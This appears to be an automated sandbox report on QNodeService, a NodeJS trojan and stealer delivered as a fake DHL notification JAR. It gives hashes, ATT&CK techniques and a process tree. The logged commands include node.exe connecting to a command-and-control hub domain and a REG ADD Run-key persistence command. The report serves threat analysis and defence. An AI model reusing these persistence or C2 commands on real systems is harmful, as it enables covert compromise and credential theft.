qnodeservice | c7e2b03baae34026d8993fd56a55511a7d8ec99e784aba042d5e89fd404f7d98

General

Target

DHL Notification DHL_AWB_0011179303 ETD.jar
Size

249KB
MD5

51dc82e81caca8221a80c68aabf06596
SHA1

0e0e7c82b36f7240d7677bf2c12d8750d22e5542
SHA256

c7e2b03baae34026d8993fd56a55511a7d8ec99e784aba042d5e89fd404f7d98
SHA512

cfd75246ad15c7260a373ff6b781e31c599064dbb40ee1c77be5a32deb2c46c80b7b52476c71c31cf205ce4c07697e11a90afe6b26c6d06d87392a1e489b7dde

Score

10^/10

trojan qnodeservice persistence spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3776	node.exe
3400	node.exe
2212	node.exe

Loads dropped DLL 6 IoCs

pid	Process
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2168186643-810464528-1121082739-1000\Software\Microsoft\Windows\CurrentVersion\Run\9d660ebe-4a21-4c24-a08e-65de984ef859 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adc3-168.dat	js
behavioral2/files/0x000100000001adc3-172.dat	js
behavioral2/files/0x000100000001adc3-176.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	wtfismyip.com
22	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3776	node.exe
3776	node.exe
3776	node.exe
3776	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe
2212	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 2196	3076	java.exe	74
PID 3076 wrote to memory of 2196	3076	java.exe	74
PID 2196 wrote to memory of 3776	2196	javaw.exe	78
PID 2196 wrote to memory of 3776	2196	javaw.exe	78
PID 3776 wrote to memory of 3400	3776	node.exe	80
PID 3776 wrote to memory of 3400	3776	node.exe	80
PID 3400 wrote to memory of 2212	3400	node.exe	81
PID 3400 wrote to memory of 2212	3400	node.exe	81
PID 2212 wrote to memory of 3484	2212	node.exe	83
PID 2212 wrote to memory of 3484	2212	node.exe	83
PID 3484 wrote to memory of 3640	3484	cmd.exe	84
PID 3484 wrote to memory of 3640	3484	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL Notification DHL_AWB_0011179303 ETD.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3076
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\6630fbc2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3776
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_BK6MhJ\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3400
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_BK6MhJ\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2212
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9d660ebe-4a21-4c24-a08e-65de984ef859" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3484
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9d660ebe-4a21-4c24-a08e-65de984ef859" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2212-177-0x000000F7B0080000-0x000000F7B0081000-memory.dmp

Filesize
4KB

Download
memory/3400-173-0x000001BC4C840000-0x000001BC4C841000-memory.dmp

Filesize
4KB

Download
memory/3776-170-0x000003BD857C0000-0x000003BD857C1000-memory.dmp

Filesize
4KB

Download

Analysis

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